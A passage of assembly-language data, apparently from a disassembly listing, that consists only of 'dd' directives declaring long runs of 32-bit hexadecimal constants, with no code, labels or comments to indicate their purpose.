		dd 0CA88BDD4h, 8CA3FBD3h, 5613DA29h, 8B912E76h,	66D7E73Bh
		dd 0A9257B91h, 0E5B29EC4h, 0C56B9FF2h, 0D0A8B015h, 53C70D8Bh
		dd 9E9467Ah, 242A5045h,	0AC157B96h, 0BCEE9BA8h,	0E9344E3Fh
		dd 0AD762B91h, 2943BDD1h, 69810808h, 6C79509Eh,	25E4C882h
		dd 69583676h, 9C6C7360h, 0D793E768h, 0DC13DC5Bh, 4AF86E8Eh
		dd 0DF4EAD12h, 0F82E7756h, 1AFFD28Bh, 77AB100h,	3CD21901h
		dd 4358DAB0h, 0C6955E85h, 4074BA9Eh, 3E98EB7Bh,	24011834h
		dd 6E5BA8B0h, 1F158892h, 0B713A979h, 12E1B076h,	0B5831861h
		dd 43D458E2h, 3511470Ah, 0F8A71AD8h, 9CA7D350h,	0ED87A0B3h
		dd 77BE22BAh, 44E39C62h, 2B26C0B9h, 0F9EAA28h, 57F9CA5Fh
		dd 841B414Bh, 55BD91B8h, 3AA98E4Bh, 0C5F5D6F9h,	91EBEB65h
		dd 0CF6EA488h, 0A86A962Dh, 12C12E0Ch, 0D89DC353h, 0E842D0CDh
		dd 0F1C01088h, 0C3EB4EB5h, 0F6E5FA11h, 611BCBB0h, 3D3A9D68h
		dd 0C425286Eh, 0CDB29CC2h, 50FA9087h, 0D0E9006Ah, 0CCAD9B81h
		dd 0F4DFDD6Bh, 0EDCD9C04h, 0D4BF8C48h, 7964A5D0h, 23D8F510h
		dd 51A5539Fh, 0A3E51930h, 0D41B5526h, 0DF99218Dh, 0C41B2AADh
		dd 320562h, 0DCCD9AA9h,	2EFDC4E2h, 8DF29C35h, 512C3B2Ah
		dd 50D218DBh, 0BC980FA9h, 871C3E1Ch, 0CD640873h, 0EE5291ECh
		dd 4279611Dh, 4E651266h, 3C501D17h, 0C493DD5Dh,	21864A25h
		dd 0AFE8E50Bh, 76A551CCh, 8C437560h, 88019101h,	0B284DF9Ch
		dd 3BFA1553h, 239D9E73h, 2B46AAF3h, 0AEA9D1F7h,	1D39C97Bh
		dd 16587BD4h, 82DA924Dh, 4B65684Bh, 99CDDBE3h, 0C8056CBDh
		dd 2F19F8Eh, 0E5738B17h, 0EE544D36h, 5174B48h, 2E40DCAFh
		dd 0A00257A9h, 0AB882FA4h, 3C67F991h, 53FEFF9Fh, 7B81D21Eh
		dd 592DF073h, 0CA259A48h, 0DAA2D468h, 295D1A2Ah, 0E6BEC726h
		dd 0EB5AE4B8h, 0B79547D4h, 0A872D80Eh, 0F7F4262Ah, 28CE1E12h
		dd 0BC56BCA6h, 27ADA15Fh, 0A1A479FCh, 0DFA447E3h, 5266D935h
		dd 0E09BBDC4h, 5405C254h, 42829262h, 7FE264C4h,	0AF563DDAh
		dd 0B7943CB8h, 0D98E731Dh, 0B1101BAEh, 5D881CDCh, 0A2771205h
		dd 9208FFA6h, 0FC928C98h, 8098DDADh, 0DE841EA6h, 6A3ADBD8h
		dd 35229A5Eh, 1821F9A1h, 62464C12h, 4D9484C1h, 8D45B21Dh
		dd 207ADBADh, 3FA04DECh, 0A302BD4Eh, 213EA5FAh,	28320708h
		dd 0EBCE99A6h, 6EDA1164h, 3D2F600Fh, 0B804EC26h, 30106C5Ah
		dd 2F310D55h, 6442355Ch, 2D82C0BFh, 0DB29FB2Eh,	0A2B74C77h
		dd 0B46ED28Fh, 308EFC76h, 0B7BC49D0h, 0D242912Eh, 39F5E80Ch
		dd 6F86B243h, 0BF04902Ah, 61394E5Dh, 94803105h,	77D4FD12h
		dd 0EBEDDE7Fh, 144FCCD8h, 977FA48Ch, 6ACF5D7h, 0C4F8AF37h
		dd 737186CCh, 2F6A4D25h, 0E14EC45Bh, 9B43FE44h,	288E8811h
		dd 0E674450Dh, 5F3EA975h, 0EC31BD16h, 791EE892h, 180A84D3h
		dd 34E30A09h, 0DAF736F1h, 0E9633F72h, 67B5DE81h, 3F76D840h
		dd 0B08B0EB1h, 0C01455CFh, 88F03725h, 0C2D1910Ah, 461697D8h
		dd 0ECE3B415h, 7AA72DCAh, 6F001414h, 429FD5FEh,	0B0F20C32h
		dd 60C57CD0h, 6FA5F4ABh, 5A376F00h, 0EAC3BF29h,	21B6F0Eh
		dd 6481F42Bh, 88C56289h, 0EC2997AAh, 89873E15h,	0A205493Eh
		dd 8906CF9Ah, 33052BF8h, 75117736h, 2EEFA316h, 0CDBC4C31h
		dd 42B61E0Bh, 22AEA3ECh, 2DE26354h, 0FC998DF4h,	4BD326BEh
		dd 0B7225A77h, 5E314E1Ch, 25D43876h, 0FD0D20Eh,	909E20FAh
		dd 8913ACE0h, 0CD453B29h, 8E582EBDh, 0A6F6A3FBh, 0E2FB3233h
		dd 3BF85A94h, 213E2DBh,	0E9084A8Ah, 123BBE5Ch, 0AC9BC3FDh
		dd 4B3D2A3Dh, 3D156E8Dh, 0FF32A616h, 0EB33E00Ch, 6AA39091h
		dd 8E52B35h, 72A7505Bh,	635B2EBFh, 0CCAF83A0h, 830CE394h
		dd 43B453C4h, 6A6CACF4h, 0DF792A89h, 0F40F5F36h, 5B9E4886h
		dd 0A997B4A3h, 0AC9ED9BFh, 0CD13AB67h, 95E47434h, 0CDCA1FE8h
		dd 665966C9h, 0FE1AC304h, 9712BC99h, 32734096h,	0D6E39962h
		dd 98210365h, 5920F2CCh, 355916A8h, 0B9164936h,	0BC595D6Ch
		dd 450FCE04h, 6B8D0B31h, 79591C45h, 0C52765BCh,	50C39560h
		dd 549992A9h, 96C03535h, 1AD722Eh, 6CF77B5Ah, 7A8E0F4h
		dd 6C5E66BBh, 14532B84h, 0FF6399B8h, 9F4757ABh,	6DBB926Ah
		dd 0F237649Fh, 80CF083Dh, 34B765A9h, 6926EC91h,	8EBB6E3Ah
		dd 0AA67277Dh, 0BAF21D26h, 7558A36h, 7B5B2917h,	0AC371AB5h
		dd 47D885BCh, 9CE3ED05h, 0D987058Ch, 24BEA96Ch,	0E7D3F4B8h
		dd 531F0017h, 0E5F0CFABh, 452D70Ah, 9FE9FA0Ah, 176E73B5h
		dd 3C74ABCCh, 58B69EBBh, 0F476D6A6h, 5F91B3A2h,	0A270BFE6h
		dd 638D176h, 951C3BFFh,	0FA5656A9h, 6E7EA13Dh, 53263C50h
		dd 759C6B52h, 6B3ED269h, 11E08548h, 0C90703A9h,	0BEFC6025h
		dd 3D8B3FACh, 69CF7189h, 80149CDh, 7B0FC1E3h, 0DEF2361h
		dd 0FF59FB11h, 1A69707Dh, 6759CD97h, 2942CB84h,	3362726Ah
		dd 588CB10Ah, 2862E35Ch, 0CF44F80Bh, 0A6E5B532h, 0A677C5D1h
		dd 0B9780F71h, 0F303825Dh, 63449C54h, 498EDA66h, 3D1E8965h
		dd 8795A0BCh, 73599705h, 51BAFAE9h, 8494F415h, 0E18CFB57h
		dd 2C20119Fh, 0D8C2234Fh, 7B954E5Dh, 78E2EAh, 0E5C36513h
		dd 76259398h, 4833E086h, 273CAB1Ah, 4C97762Bh, 0DA181269h
		dd 0D778DE97h, 6082BC4Ah, 439DF44Dh, 0A14FCC62h, 77CF365Fh
		dd 41F8B2B0h, 0A4BFFEA3h, 0D0FD03ECh, 0DD84F5D8h, 0CA2E55DEh
		dd 0CEE521D1h, 6D87F559h, 0EB19E6Bh, 44EEF7FBh,	804A958Fh
		dd 52E5C32Ch, 4DC581Bh,	963F231Ch, 8C0D4444h, 0A80681B9h
		dd 9B822685h, 0DECDBEEEh, 0BE12A223h, 34973220h, 0B6766234h
		dd 7A940EE3h, 20219410h, 147CABE1h, 88DE96C0h, 2DDAC37Ch
		dd 1FAB3F12h, 452A85Ah,	0C4C4DBBBh, 0D1FC2DF6h,	97383C4Bh
		dd 0D6FE6AF2h, 0B1C98FCEh, 87E2BCB4h, 9E637709h, 28D930EAh
		dd 0D9113B49h, 0D7D56365h, 0AAC6CA01h, 20255AFh, 0A564D9E7h
		dd 5B3DB9DEh, 1665AD0Ch, 76157B3Ch, 879BA350h, 0BECC9B01h
		dd 398A94C9h, 9F91A425h, 75AE9D0Ah, 74FB7D74h, 226AB2D4h
		dd 0BC0CB52h, 0A763029Ch, 0EE32474Dh, 0CD26D30Bh, 7447CB7h
		dd 5A15A4A3h, 0EDF4B233h, 0D11CECCh, 0F91CC474h, 0DD7B094Ah
		dd 0E18EB2F6h, 9252F425h
		dd 0DA96726h, 4AE3B2BEh, 1F3FABC6h, 64A12645h, 10519BD4h
		dd 9869AD1Ah, 4217B8DFh, 42AC73D7h, 0C7779ED3h,	0F119AC8Ah
		dd 35F9A067h, 20D1330Ch, 93BC6DF4h, 0D7FC13BBh,	6260C16Fh
		dd 330677Bh, 0E3A43913h, 6F2025FEh, 0F3E17116h,	0EC6424EEh
		dd 15B3C305h, 0E60783B8h, 0BA3AB5Ah, 16D28BEh, 0F6EF306Dh
		dd 1CD0D36h, 58F38976h,	0BDF15E7Fh, 5279CAA7h, 44F147B2h
		dd 19D7FB10h, 0DD65E769h, 5A513F1Fh, 0D08998A3h, 94F49E81h
		dd 3E99AD72h, 0CA422177h, 0E950358h, 94DAA55Ch,	41DF95B4h
		dd 55AF0BF2h, 6E2EF364h, 34AED449h, 428364E7h, 43997BF4h
		dd 90D0BF42h, 347F0FFAh, 85D815B5h, 651762A0h, 0B8D68D94h
		dd 0AD7C4909h, 2E4B5D90h, 634D92D3h, 1A6CEB1h, 2F45BB41h
		dd 96DC12C5h, 6A0C8C14h, 89AA96C6h, 4AB76D1Eh, 0B9DA153Dh
		dd 21079092h, 869AFCFAh, 65DB0255h, 52046657h, 0EE071B94h
		dd 7B21C458h, 0D4CD607Bh, 0A3229360h, 0A872533Ah, 0DB77F2C9h
		dd 8AB4FB34h, 7890E5BFh, 0B7F7D79Ch, 8D97A43Ch,	6C9506AFh
		dd 0D10CA3D3h, 2E559182h, 6686E8D5h, 0E01D5B30h, 38CEC7A9h
		dd 0C5EF932Ah, 0B6D3DE96h, 64DB7E71h, 918D5C5Ch, 0F9BCDC71h
		dd 0C213CEE8h, 0AD125C74h, 0E14E93ADh, 0C08393DCh, 1EEDD662h
		dd 716A432Ah, 0B0D0FB08h, 446DC320h, 0FC2D6023h, 0DA064607h
		dd 0FF8975E8h, 740EDE16h, 0FD9ACFE2h, 55B2C882h, 0B406AB3h
		dd 0B6C14E27h, 0C8D09E02h, 0CE8D0B87h, 47C53010h, 6EAA5674h
		dd 84D3D11Fh, 8119C846h, 8A976FF2h, 0CA9AFE07h,	0B4ECF645h
		dd 0FCC22E0Dh, 0E4C61519h, 0D3BCB84Dh, 0C29F5A01h, 3C6C5A93h
		dd 8E35BBDEh, 0A383600h, 7B666E87h, 46680394h, 0EE27CEC8h
		dd 4CE9616h, 95A2DA7Fh,	0B1C517ACh, 0E614504Dh,	0D3B63D5Ah
		dd 216D0EFh, 641566D3h,	0DC930907h, 0C6B79582h,	18EFB5E2h
		dd 2DCC5186h, 4E8DF9A3h, 0FA7F0B43h, 59365919h,	32568F68h
		dd 0B939A66Dh, 0E954DA71h, 4A0A02B1h, 107F6DCEh, 65599486h
		dd 10FC13CBh, 4BA8A54h,	7BBEC61Bh, 0BF6FCF9h, 0CDBE07E4h
		dd 503111CDh, 0A9BA39BDh, 0DE31DA97h, 22A082CBh, 52E6E48h
		dd 0D3FDCF44h, 1C75DF52h, 27C1A66Ch, 0C8C99F79h, 0D8AADD06h
		dd 0FD495E33h, 0E40A27D6h, 0E8F9FD07h, 6DAF4ACCh, 0FC188454h
		dd 0F9CE497Ch, 0F73F9D13h, 4F100651h, 1B74B79Eh, 0D3156926h
		dd 6A9A5150h, 262F4E69h, 22EDD0AFh, 567214E7h, 3AD01CABh
		dd 4502D673h, 0AC8D55Fh, 2DBCC9B8h, 50925F6Bh, 0B78BC231h
		dd 0C731A01Bh, 490AA62Ah, 0D815084Ah, 0CCE117D0h, 0DE70A020h
		dd 847C08EDh, 5DDEF01Fh, 526CEFD0h, 94861B28h, 0D4DC4FFFh
		dd 593DF768h, 674FBFBAh, 0C2739F0Ah, 7037EEBAh,	6EDA5417h
		dd 0BEA6308Fh, 4687D111h, 128D856Dh, 0AC777393h, 3AF547CDh
		dd 2B4DB84h, 1444BC93h,	165F4E14h, 0AEAF151Eh, 0AA03A7ACh
		dd 0AD5090DAh, 0DE2A6E61h, 0CFFE57D6h, 6824984Dh, 4B5A7821h
		dd 0A7969A97h, 95B10474h, 0BA33D511h, 70170A7Fh, 0F8F4B381h
		dd 0DECC033Fh, 0C4A30D2Eh, 0FBFDD945h, 1593F4C2h, 0C3F1225Fh
		dd 0DA801A58h, 0B4F3A3h, 0BEAA3DBBh, 732AA225h,	0D4273CAFh
		dd 958B2957h, 7EFA4ECBh, 0B920DC8Dh, 8E7C7A45h,	310BCF42h
		dd 728AB7CCh, 3B3E2544h, 0FEE64BACh, 10084B94h,	74429741h
		dd 0CE1FCB35h, 0F5291A3h, 5F551E78h, 0FC1FB3D2h, 0C2AA9D64h
		dd 623B6B62h, 2AB41B10h, 0E7FF601h, 94B087A0h, 17059A14h
		dd 0DD158707h, 0C4DDDA8Fh, 3706361h, 50622E8Ch,	0C62211D0h
		dd 7B665A97h, 0C2F87EA7h, 0F950024Ch, 0A0B9EDFDh, 0B455EDB2h
		dd 1739706Eh, 0A4B0E4F8h, 32F02E72h, 99DFE4F1h,	8818F7Ch
		dd 1E261473h, 7F586136h, 7A0FBBB7h, 9E4905D6h, 3DF78687h
		dd 96F52E2Eh, 971C76E7h, 0B2D5F623h, 80495879h,	6BA75CE6h
		dd 3EEC5966h, 8280C372h, 5744CA3Ah, 0CA336DC0h,	0DDA5D40Ah
		dd 0E020844Ch, 4C617C2Dh, 0E4C71F37h, 5ECE9C69h, 1FFFCCF4h
		dd 0C9118BFFh, 4E1BEA7Dh, 0A5BCFFC7h, 6D78EB1Ch, 7B6E03F0h
		dd 85CEA6EFh, 1763E8Dh,	4CC43A9Ah, 9F62469Ch, 20CF3874h
		dd 1015030Bh, 46FB06DFh, 9ED8E6CAh, 0DC605F34h,	402F7309h
		dd 0B45275C7h, 0FB525DEEh, 198925B7h, 0C34AA52Eh, 0DC27C3B7h
		dd 521A9518h, 0A79E6C0Ch, 10C0166h, 79094920h, 6905DC1Fh
		dd 84F9C745h, 8819252Ah, 61BE680Ah, 7E9C10E0h, 1CCC4450h
		dd 5ACEB8AAh, 2EF03547h, 38F86F43h, 0C9A861F1h,	1E4FDABFh
		dd 0AB71985Eh, 0A7E25A84h, 9CF3B05Ah, 7D6563F6h, 8E210C10h
		dd 77F144F9h, 7384DCBCh, 1B1E63D3h, 7700A19h, 196B2EA5h
		dd 740BD5BEh, 0DAC11A83h, 0C14BAB00h, 34FE13A7h, 0DB79890Ah
		dd 12493932h, 85515D3h,	0EDF5BA33h, 0D38B5161h,	799144DDh
		dd 7E1473A4h, 0B68F7F79h, 0C8138747h, 156483AFh, 0AA0EAD33h
		dd 0CEA9315Eh, 1B8F1ACCh, 0AD00D70Fh, 640B49C6h, 83318596h
		dd 1594E70h, 4742EF85h,	8CFAB924h, 92186AC3h, 49C593ABh
		dd 4D0F840h, 0B3EA33DCh, 643BCF66h, 0F49E8E03h,	5976C7DFh
		dd 0E4DAA378h, 4781BEA4h, 0F17CCC9Fh, 9FAF8873h, 0B88A38C0h
		dd 1EC912DCh, 5E68BCE0h, 9EE4BE99h, 0DAA0D6DAh,	2E00FD0Ah
		dd 6E4078A1h, 2BDC2D89h, 81FF49CCh, 0B981B3F5h,	0B0FD831Ah
		dd 21904879h, 0F50E119h, 1540BC57h, 8AF4FEB4h, 0F25C1F12h
		dd 619A2A12h, 6A33859Ah, 448D7D48h, 0D09442EBh,	72036FF9h
		dd 9E13F36Dh, 4D5425ADh, 3EFFF3E6h, 7D0F034Bh, 0A2320786h
		dd 3C3BEF5h, 0EE910551h, 57D83577h, 199BC1B6h, 17F7BE95h
		dd 0C967C84Fh, 8290FC44h, 4F843DEAh, 52F76711h,	0F76135FBh
		dd 0FF6F4C99h, 60BCFEFh, 3E931143h, 5595E69h, 6277226Bh
		dd 0EC4AFC4Dh, 0C301D68h, 0FC2FD9A5h, 0F9DE2EA6h, 0CC9109BEh
		dd 0B72CA1F2h, 0F288A131h, 47CAB05h, 794EA133h,	0A97369Eh
		dd 0E6ADF00Ah, 0E06F2D2Ah, 331A1761h, 0FE1D3E4h, 0BAAB2396h
		dd 0B3777492h, 6D7CBC0Bh, 4013D71Dh, 0BFBB7947h, 0FAAFF262h
		dd 0B0E919Eh, 0E20E146Ch, 0BA0CBFF0h, 0E7120866h, 0A81AD0D5h
		dd 1E68885Ah, 777C6AAFh, 33523182h, 326F0221h, 0BECB8B84h
		dd 91D761BCh, 98160521h, 65FFEE37h, 5A6BA3D8h, 0EAB61D04h
		dd 4A66D51Fh, 7577893Ch, 6CFE0023h, 0F006EAA7h,	5173A02Ah
		dd 0EA844715h, 5BF6CED6h, 2520CD96h, 0C667C58Bh, 3430DFDh
		dd 79C390CBh, 0E73E9278h, 607DCAB5h, 7683EA93h,	8528FEE8h
		dd 0E978B5E8h, 7FA339C6h, 0F8E7C16Eh, 4885022h,	0EEF7885Ch
		dd 26683B09h, 4FAB9107h, 6C85ACD7h, 0E98C6DD3h,	0B6A389A3h
		dd 0C5AB1BB8h, 75531C67h, 0F0293178h, 4D7647Ch,	53149948h
		dd 0A5DCB71Eh, 0D456180Fh, 0BC7EC580h, 9A7208C4h, 0DB11945Bh
		dd 98672307h, 0E702BB58h, 0D1AEF5F7h, 5D0B226Bh, 0BD1A7450h
		dd 23EE6963h, 8CA2A355h, 0B2BDDEE5h, 149EE327h,	36A61F64h
		dd 0CDA5D10Ah, 7BB0C53Dh, 681C1312h, 0C7E2E8F5h, 0A3241DA2h
		dd 53974D3Ah, 63C65B9Eh, 60649AA1h, 0D6CDFE0Eh,	6EC9E596h
		dd 0F7DC5E11h, 1FB568E8h, 0F4B7F516h, 12E1E612h, 0F6FB3CB4h
		dd 27E79B10h, 0E67B3DF8h, 0B622CFB5h, 0BBAE4818h, 0FFE5905Bh
		dd 0C0A8F59Bh, 0D32E4A73h, 3889D921h, 0DB3C7229h, 0DB43852Bh
		dd 15318B38h, 62E5EC0Fh, 5AB491B1h, 0BCC06764h,	0F8B22ABCh
		dd 73A91BC7h, 29629F99h, 9207B6CDh, 4C08D3C1h, 5DE7CB46h
		dd 1D273BEEh, 3BC1733Eh
		dd 4E743F57h, 7E4618ECh, 59F94BCCh, 0CF180595h,	0C45E66C3h
		dd 3CF92B64h, 598502BBh, 5AB73768h, 351C54F6h, 247D340Bh
		dd 349466Ch, 9AA30F9Dh,	6F3CE699h, 0FEA3AAC9h, 189A3936h
		dd 7F6BEC64h, 32C405ABh, 69470AF1h, 0EA76B30Ah,	73C81BC4h
		dd 778C3B86h, 0B93FE958h, 0D00ABD58h, 9C073A40h, 809CF927h
		dd 0C1631EE8h, 0D50318A3h, 63BB8FDDh, 0AB30454h, 12D7C42Ch
		dd 0CB4EAA6Eh, 3F3E9009h, 9D46A055h, 0CC430C1Ch, 0B862979Bh
		dd 9460B55Ch, 7E24FD6Ah, 6A72731Ah, 0F4E15D81h,	20279145h
		dd 3C0E144Fh, 1D938C46h, 581CC7B1h, 2519932Eh, 6492319Dh
		dd 0C9539D8Ah, 6200A43Bh, 4F0F9755h, 88FA4A7Bh,	0A81ABB4Eh
		dd 0C39C1B75h, 6B30791Fh, 5F414335h, 0E8E8711Eh, 0EE022565h
		dd 443B0385h, 0F2100EFEh, 1FFFCE6Dh, 0E6B986EFh, 79AA0B0Eh
		dd 7D6F806h, 876601ABh,	2914E49Dh, 4997D870h, 0C989E46h
		dd 2D335CD0h, 2831A2D2h, 0C5E30196h, 421B3C3Eh,	9F540E7Dh
		dd 3F668384h, 4BF58094h, 0D2AA4576h, 0D8889A3h,	42020B9Bh
		dd 9C700A17h, 723CAD46h, 5AE629FBh, 0A0E43EBFh,	9BDB7F07h
		dd 1AAD665Ch, 7199288Eh, 0EBDB4976h, 99A6A354h,	1E8AD47Ch
		dd 0EBE3749Dh, 672E8AA2h, 5DC51272h, 9F6C6C2Ch,	0D5FD032h
		dd 7A7D6382h, 0F8CC64E6h, 0F6D677C5h, 0CDB5FE53h, 2AD8C9F6h
		dd 45FAB886h, 0E873318Fh, 8EA43E77h, 0A6A937C3h, 2AAC3ECFh
		dd 556F5CC6h, 3ED10247h, 9C88961Eh, 99028422h, 6EEB6799h
		dd 8587AE6Ah, 0EC8FB1ECh, 85C785BDh, 7C80A2EFh,	0C0EC99CAh
		dd 0A50E82EAh, 61163264h, 0C485B8D6h, 1BAABE76h, 0DF38673Bh
		dd 0E64987D9h, 0F01B8672h, 11CACCA9h, 6D01FF1Bh, 75DF1CEDh
		dd 1B87B89h, 0EEE83AD6h, 0F8E7E286h, 2D741451h,	4E8ED11h
		dd 244EDB1Ah, 75AD2225h, 9DEDACF4h, 0E1D3C4B6h,	0E9C91203h
		dd 3600081Ah, 0E59ABBD5h, 4A8FE56Fh, 0D9EE64C9h, 0B7898167h
		dd 6EA18DDAh, 0CB2B9526h, 5831E1DBh, 0E9D317B0h, 59098CCBh
		dd 0A92C6BDAh, 44E4AC29h, 4858F7FAh, 0CB11EBE4h, 8F111717h
		dd 99278AC6h, 0F3F3D307h, 0B08BAB51h, 0B6763E60h, 6A775F8Bh
		dd 0A27F5CA9h, 0DD679B45h, 195C5763h, 83B2F6A6h, 0D42B1433h
		dd 7209E208h, 2B5A848Eh, 8C04BAEAh, 9AFC192Fh, 32D0B89Eh
		dd 57C83CFh, 5EDDBEB0h,	0F893D5C2h, 0C35A362h, 6EE03D21h
		dd 0ABFBF36h, 0EF3040B2h, 0A38EC478h, 8B1FC597h, 0EE68B681h
		dd 4ED208F4h, 5F41D041h, 0A686F40h, 3FCF9A3Fh, 431F1671h
		dd 544CD0B4h, 9151E6C1h, 68B9B978h, 783BECFFh, 0EC40D65Ah
		dd 3F53201Ah, 217A19F2h, 63C8CE37h, 5AA3D98Ah, 0B75DEC22h
		dd 58729EA2h, 34A4A8F7h, 0B0F88B0Dh, 0CFAB8D80h, 0F637C996h
		dd 0B8DB2587h, 0C377FA23h, 0BC88DB42h, 7A22BBF5h, 6BE30030h
		dd 38275778h, 1C5F98C4h, 5EFC1021h, 422FD89Ch, 7C36E47h
		dd 90384B1Eh, 0B8BCECABh, 38567A9Ah, 0FF6C5316h, 0C8C13806h
		dd 5A39302Eh, 0B57D1501h, 0BEEB2064h, 0F985C4D6h, 0B37C7D84h
		dd 0C23DBEF2h, 1A7B11D9h, 0C54DA3BCh, 31C05FFEh, 0CA07DAA1h
		dd 627050C5h, 8D4490B5h, 32C179FAh, 0A0892061h,	0CAB6E562h
		dd 29786550h, 332581EFh, 6846BB4Bh, 0EDEA84E5h,	0A6E36401h
		dd 0E80848EEh, 84BCA0DCh, 0B8F0E60h, 7C1A3410h,	0D693E4D1h
		dd 2462E03Ah, 65C7C2D8h, 7A05E1B7h, 1B67693Bh, 63C2C236h
		dd 0BE9E2169h, 0A860842Ah, 0C7144681h, 0D66AEE92h, 0DBE7F607h
		dd 68DDD71Bh, 77648176h, 0E1720D20h, 0E619A42Dh, 89AB1703h
		dd 6880DFD5h, 2C0E7B94h, 8D07809Eh, 93177B96h, 0ACD7DFADh
		dd 5B523893h, 0D25869F6h, 4FC4BF55h, 883ED377h,	224823FCh
		dd 65E6C09Eh, 6E8A04FEh, 0E741270Bh, 0EA0FB32Dh, 4ACE76CDh
		dd 9FA0EEEDh, 9439169Dh, 794BC526h, 101A108Eh, 87A3A8C4h
		dd 7AE49818h, 0EA22947Fh, 0D4B2D6FEh, 0C2A39F0Dh, 5527B2C1h
		dd 0DFF16EF5h, 8A81A428h, 0C065E2CBh, 77B72ECBh, 53F39B7Eh
		dd 0D6D9C962h, 0DE1ADEF0h, 0B83F2AEFh, 88FD2827h, 31733AADh
		dd 49D58715h, 35AB66CAh, 0A15069A2h, 6B4B220h, 0BAE005C1h
		dd 271BE689h, 3F4EB9D0h, 6DE113AEh, 4B3D2C4h, 7A4DAB65h
		dd 57B95CE8h, 6415B7FEh, 0F35A4EFh, 2B8CAA0Ch, 0DE544371h
		dd 0EA75C61h, 9D8D7474h, 3EE6F187h, 0A1C2F637h,	3FCF01DEh
		dd 120172DBh, 70783557h, 0B1119F99h, 9849C591h,	6C2F5A51h
		dd 3DF37329h, 53943D0h,	6E31A27Fh, 0DF589C0Ah, 0D57DA422h
		dd 2BB8F9BDh, 0F8CB618Fh, 449F8838h, 55ADE734h,	4C32B5Ah
		dd 0C1E5F9D6h, 2262313Fh, 7AC5A76Ah, 448A870Ch,	8A59C0Fh
		dd 0FB2C047Fh, 0FAB48131h, 2746DFC9h, 70A25C42h, 21986D40h
		dd 5B0B27FAh, 6E11F28Bh, 0C38DB888h, 0A04D4803h, 0D80038F5h
		dd 434BBB15h, 47D61151h, 0E00D6CF1h, 0B47BB3CAh, 251E5DDEh
		dd 0F5AE42Fh, 28F6D89Bh, 0B767C59Eh, 309117CBh,	7C242599h
		dd 0ADBD5AF8h, 0E10FC737h, 0F39F817Ch, 0BC364BDh, 854F60F3h
		dd 55BA940Eh, 850F3E44h, 0E9E7B642h, 6C507146h,	0F5A6667Dh
		dd 6F28BE3Ah, 18523EEFh, 0AC7F8760h, 2E104675h,	6ECADEABh
		dd 0D2010849h, 0E116F19Dh, 0CFE6CF81h, 2CD6452Fh, 99AE0394h
		dd 8836139Eh, 0AA0A3000h, 0E37BB56Ch, 2C81483h,	0A8967034h
		dd 8F3E64D3h, 0EF73E537h, 0D9A71225h, 88C6100Ch, 1D7CAFD3h
		dd 0C7E943FBh, 0C1808C6Dh, 329F814Eh, 4CC0BEF7h, 0B661FA95h
		dd 8A9E5DFAh, 0A2C84826h, 532AE8AEh, 0DC3C3050h, 0A5C6AA97h
		dd 0EA0ED1D2h, 0C8D0E601h, 98133053h, 1044E032h, 0DD5D9F96h
		dd 0FEA2BB40h, 8DE60659h, 301FF69Bh, 6D5563C3h,	47EF357Fh
		dd 0BFB65FBDh, 0CBA12C70h, 99EE4D11h, 0D81A900Ch, 6E9BDC92h
		dd 9D7D9B89h, 49240D8Ch, 3F309471h, 0D6ACA7C0h,	72511042h
		dd 0D160766Fh, 0F69CEF3Ah, 1DCBCEB3h, 17453CF4h, 782CCFCh
		dd 791365CFh, 3D0E0414h, 9A5E6008h, 61E65EAAh, 5CF95539h
		dd 0F05E1367h, 2EB2B373h, 61028B1Fh, 53C7BB0Ch,	3B3E200Eh
		dd 8AFA6774h, 0F0EA8452h, 37381A63h, 4391A198h,	0B9434A9Fh
		dd 213E5468h, 8CFC854Ah, 9D4DB56h, 0EDE53799h, 137AB2A1h
		dd 0CB485447h, 62FD3749h, 9035A84Bh, 49C8A425h,	56C80FF0h
		dd 215970FFh, 98BE6DC8h, 8C4047A3h, 0B14484Dh, 2D5295Dh
		dd 3D2DEF4Ah, 73496931h, 62D6F52Bh, 228F4965h, 2DE38138h
		dd 576CF32h, 4CFD33Ch, 5236DA0Ah, 0D09F77F4h, 4389898Dh
		dd 0CF3BB581h, 0E6A4880h, 606D2005h, 0AEEDF423h, 0A221343Ch
		dd 0C8F26B23h, 0F6D16CCEh, 512E1AB4h, 33E67B9Ah, 0F1AC8048h
		dd 6A75BA84h, 0B6D61FC8h, 0CD88AEC5h, 9FA01AC2h, 0A46C08EAh
		dd 23B070DFh, 50F0476Dh, 0BCE18E15h, 0E943EDDBh, 0EB7453h
		dd 0AB4B67DDh, 79ACF8FEh, 0D47D0D2Ch, 5C54E2D0h, 0C50627EAh
		dd 0AD4B965Fh, 0AB7D49E1h, 0A09F0354h, 0E7EB590Ch, 0F60B4CFAh
		dd 58DF7659h, 13973276h, 297C17BAh, 0BA5E3F64h,	1AAAA182h
		dd 400A40B0h, 0A03589C3h, 0A33F69ABh, 3DE8CF8Eh, 9B08B815h
		dd 0F809B30Dh, 4720AB85h, 0CD5F7860h, 0F39F31BBh, 1B95E0EDh
		dd 0CC5811CBh, 0D566A040h, 1086A33Dh, 1F574ADEh, 1F772716h
		dd 0E98FE23Dh, 0E312215Bh, 0D2E7AD5Eh, 5BAF81C6h, 0D1E2C15Fh
		dd 0A4113E51h, 28628C99h, 7522F414h, 21B7F8C4h,	9823C925h
		dd 25332405h, 0BF999448h, 0E6D0BA09h, 6AB346C2h, 84C3480Ah
		dd 4A7DD80Eh, 3ED41C8h
		dd 47A86241h, 0DCEE57B3h, 3FC0E799h, 0D59A68F9h, 0F980F5D4h
		dd 7AD1EE2Bh, 8144FAADh, 0DF5ABDABh, 0DCF0EF0Fh, 5A298526h
		dd 0F20C7B31h, 1A246746h, 23C2D24Bh, 0B6E11BA8h, 0CDBD37Ah
		dd 0CC860AB1h, 0A1AB67EDh, 400505B5h, 0DEA12CFEh, 0C0805D1Ah
		dd 1FAD653Ah, 95427876h, 0D231C63Eh, 0C6D32592h, 818FC3A2h
		dd 4F080E0Ah, 0A49C258Ah, 561E2300h, 9A50F87Ah,	78E25A13h
		dd 4D473DA5h, 829FE64Dh, 7497775h, 0F4514330h, 0EDB48589h
		dd 8E4094C7h, 0D370704Ah, 0A5FAC55Bh, 2302535Eh, 0D504891Eh
		dd 0BF48DDFEh, 0DF2FFB87h, 0E89C773Eh, 0B57E318Ch, 37ED4B95h
		dd 35E290A0h, 4A13BA89h, 786C5210h, 0C417CEBEh,	3743D764h
		dd 0FC955DC3h, 9B474DC1h, 0DDEA0B6Eh, 273E1F51h, 3D64A733h
		dd 0DBFCC6BCh, 0F6F538CDh, 640D3AA8h, 9DCF5E1Eh, 0B8696884h
		dd 379C04C5h, 698D8CBh,	10B3D0B6h, 36714D44h, 6FB5E0D2h
